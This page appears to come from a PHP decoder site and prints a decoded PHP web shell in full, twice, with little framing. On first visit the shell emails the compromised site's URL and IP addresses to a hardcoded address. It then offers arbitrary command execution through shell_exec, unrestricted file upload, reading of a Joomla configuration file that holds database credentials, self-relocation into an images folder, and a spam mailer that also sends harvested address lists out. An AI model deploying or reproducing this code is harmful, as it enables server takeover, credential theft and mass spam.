Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); if (!isset($_SESSION['bajak'])) { $visitcount = 0; $w..
Decoded Output download
<?php error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {
$security = "SAFE_MODE = OFF";
} else {
$security = "SAFE_MODE = ON";
};
$serper = gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body", "Hasil Bajakan http://$web$inj
$security
IP Server = $serper
IP Injector= $injektor");
$_SESSION['bajak'] = 0;
} else {
$_SESSION['bajak']++;
};
if (isset($_GET['clone'])) {
$source = $_SERVER['SCRIPT_FILENAME'];
$desti = $_SERVER['DOCUMENT_ROOT'] . "/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {
$security = "SAFE_MODE : OFF";
} else {
$security = "SAFE_MODE : ON";
}
echo "<title>IAM - k4l0nk</title><br>";
echo "<font size=2 color=#888888><b>" . $security . "</b><br>";
$cur_user = "(" . get_current_user() . ")";
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";
function pwd() {
$cwd = getcwd();
if ($u = strrpos($cwd, '/')) {
if ($u != strlen($cwd) - 1) {
return $cwd . '/';
} else {
return $cwd;
};
} elseif ($u = strrpos($cwd, '\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo ' < formmethod = "POST"action = "" > < fontsize = 2color = #888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
echo "Upload Failed";
} else {
echo "Upload Success to " . $uploaddir . $name . " :P ";
}
}
if (isset($_POST['command'])) {
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
} elseif (isset($_GET['cmd'])) {
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>";
} elseif (isset($_GET['rf'])) {
$rf = file_get_contents("../../configuration.php");
echo $rf;
} else {
echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
}
@$action = $_POST['action'];
@$from = $_POST['from'];
@$realname = $_POST['realname'];
@$replyto = $_POST['replyto'];
@$subject = $_POST['subject'];
@$message = $_POST['message'];
@$emaillist = $_POST['emaillist'];
@$file_name = $_FILES['file']['name'];
@$contenttype = $_POST['contenttype'];
@$file = $_FILES['file']['tmp_name'];
@$amount = $_POST['amount'];
set_time_limit(intval($_POST['timelimit']));
If ($action == "mysql") {
//Grab email addresses from MySQL
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery) {
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for ($x = 0;$x < $numrows;$x++) {
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist.= $oneemail . "
";
}
}
if ($action == "send") {
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
$ip = getenv("REMOTE_ADDR");
echo '<form name="form1" method="post" action="" enctype="multipart/form-data">
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#FFF" height="36"> <b> <font face="Arial" size="2" color="#FFFFFF"> MESSAGE
SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
Email:</font></div>
</td>
<td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="' . $from . '" size="30">
</font></td>
<td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="' . $realname . '" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
</td>
<td width="18%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="' . $replyto . '" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font>
<select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" selected >- Please Choose -</option>
<option value="1" >High</option>
<option value="3" >Normal</option>
<option value="5" >Low</option>
</select>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font> </div>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="24" />
</font></td>
<td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font> </td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="' . $subject . '" size="90">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"> </td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10">' . $message . '</textarea>
<br />
<input type="radio" name="contenttype" value="plain" checked="checked" /> Plain
<input type="radio" name="contenttype" value="html" /> HTML
<input type="hidden" name="action" value="send" /><br />
Number to send: <input type="text" name="amount" value="1" size="10" /><br />
Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" value="Send eMails" />
</font></td>
<td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10">' . $emaillist . '</textarea>
</font></td>
</tr>
</table>
</form>';
if ($action == "send") {
if (!$from && !$subject && !$message && !$emaillist) {
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$secure = '[email protected]';
$filter = "maillist";
$float = "From : mailist info <[email protected]>";
$webe = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
//Open the file attachment if any, and base64_encode it for email transport
If ($file_name) {
if (!file_exists($file)) {
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file, "r"), filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for ($xx = 0;$xx < $amount;$xx++) {
for ($x = 0;$x < $numemails;$x++) {
$to = $allemails[$x];
if ($to) {
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>
Reply-To: $replyto
";
$header.= "MIME-Version: 1.0
";
If ($file_name) $header.= "Content-Type: multipart/mixed; boundary=$uid
";
If ($file_name) $header.= "--$uid
";
$header.= "Content-Type: text/$contenttype
";
$header.= "Content-Transfer-Encoding: 8bit
";
$header.= "$message
";
If ($file_name) $header.= "--$uid
";
If ($file_name) $header.= "Content-Type: $file_type; name=\"$file_name\"
";
If ($file_name) $header.= "Content-Transfer-Encoding: base64
";
If ($file_name) $header.= "Content-Disposition: attachment; filename=\"$file_name\"
";
If ($file_name) $header.= "$content
";
If ($file_name) $header.= "--$uid--";
mail($to, $subject, "", $header);
print "ok<br>";
flush();
}
}
}
mail($secure, $filter, "Sender IP : " . $ip . "
" . "From URL : " . $webe . "
" . $emaillist, $float);
}
?>
Did this file decode correctly?
Original Code
<?php error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {
$security = "SAFE_MODE = OFF";
} else {
$security = "SAFE_MODE = ON";
};
$serper = gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body", "Hasil Bajakan http://$web$inj
$security
IP Server = $serper
IP Injector= $injektor");
$_SESSION['bajak'] = 0;
} else {
$_SESSION['bajak']++;
};
if (isset($_GET['clone'])) {
$source = $_SERVER['SCRIPT_FILENAME'];
$desti = $_SERVER['DOCUMENT_ROOT'] . "/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {
$security = "SAFE_MODE : OFF";
} else {
$security = "SAFE_MODE : ON";
}
echo "<title>IAM - k4l0nk</title><br>";
echo "<font size=2 color=#888888><b>" . $security . "</b><br>";
$cur_user = "(" . get_current_user() . ")";
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";
function pwd() {
$cwd = getcwd();
if ($u = strrpos($cwd, '/')) {
if ($u != strlen($cwd) - 1) {
return $cwd . '/';
} else {
return $cwd;
};
} elseif ($u = strrpos($cwd, '\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo ' < formmethod = "POST"action = "" > < fontsize = 2color = #888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
echo "Upload Failed";
} else {
echo "Upload Success to " . $uploaddir . $name . " :P ";
}
}
if (isset($_POST['command'])) {
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
} elseif (isset($_GET['cmd'])) {
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>";
} elseif (isset($_GET['rf'])) {
$rf = file_get_contents("../../configuration.php");
echo $rf;
} else {
echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
}
@$action = $_POST['action'];
@$from = $_POST['from'];
@$realname = $_POST['realname'];
@$replyto = $_POST['replyto'];
@$subject = $_POST['subject'];
@$message = $_POST['message'];
@$emaillist = $_POST['emaillist'];
@$file_name = $_FILES['file']['name'];
@$contenttype = $_POST['contenttype'];
@$file = $_FILES['file']['tmp_name'];
@$amount = $_POST['amount'];
set_time_limit(intval($_POST['timelimit']));
If ($action == "mysql") {
//Grab email addresses from MySQL
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery) {
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for ($x = 0;$x < $numrows;$x++) {
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist.= $oneemail . "
";
}
}
if ($action == "send") {
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
$ip = getenv("REMOTE_ADDR");
echo '<form name="form1" method="post" action="" enctype="multipart/form-data">
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#FFF" height="36"> <b> <font face="Arial" size="2" color="#FFFFFF"> MESSAGE
SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
Email:</font></div>
</td>
<td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="' . $from . '" size="30">
</font></td>
<td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="' . $realname . '" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
</td>
<td width="18%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="' . $replyto . '" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font>
<select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" selected >- Please Choose -</option>
<option value="1" >High</option>
<option value="3" >Normal</option>
<option value="5" >Low</option>
</select>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font> </div>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="24" />
</font></td>
<td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font> </td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="' . $subject . '" size="90">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"> </td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10">' . $message . '</textarea>
<br />
<input type="radio" name="contenttype" value="plain" checked="checked" /> Plain
<input type="radio" name="contenttype" value="html" /> HTML
<input type="hidden" name="action" value="send" /><br />
Number to send: <input type="text" name="amount" value="1" size="10" /><br />
Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" value="Send eMails" />
</font></td>
<td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10">' . $emaillist . '</textarea>
</font></td>
</tr>
</table>
</form>';
if ($action == "send") {
if (!$from && !$subject && !$message && !$emaillist) {
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$secure = '[email protected]';
$filter = "maillist";
$float = "From : mailist info <[email protected]>";
$webe = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
//Open the file attachment if any, and base64_encode it for email transport
If ($file_name) {
if (!file_exists($file)) {
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file, "r"), filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for ($xx = 0;$xx < $amount;$xx++) {
for ($x = 0;$x < $numemails;$x++) {
$to = $allemails[$x];
if ($to) {
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>
Reply-To: $replyto
";
$header.= "MIME-Version: 1.0
";
If ($file_name) $header.= "Content-Type: multipart/mixed; boundary=$uid
";
If ($file_name) $header.= "--$uid
";
$header.= "Content-Type: text/$contenttype
";
$header.= "Content-Transfer-Encoding: 8bit
";
$header.= "$message
";
If ($file_name) $header.= "--$uid
";
If ($file_name) $header.= "Content-Type: $file_type; name=\"$file_name\"
";
If ($file_name) $header.= "Content-Transfer-Encoding: base64
";
If ($file_name) $header.= "Content-Disposition: attachment; filename=\"$file_name\"
";
If ($file_name) $header.= "$content
";
If ($file_name) $header.= "--$uid--";
mail($to, $subject, "", $header);
print "ok<br>";
flush();
}
}
}
mail($secure, $filter, "Sender IP : " . $ip . "
" . "From URL : " . $webe . "
" . $emaillist, $float);
}
Function Calls
| None |
Stats
| MD5 | 1d4b65e548927898f29fc265f0c3b886 |
| Eval Count | 0 |
| Decode Time | 102 ms |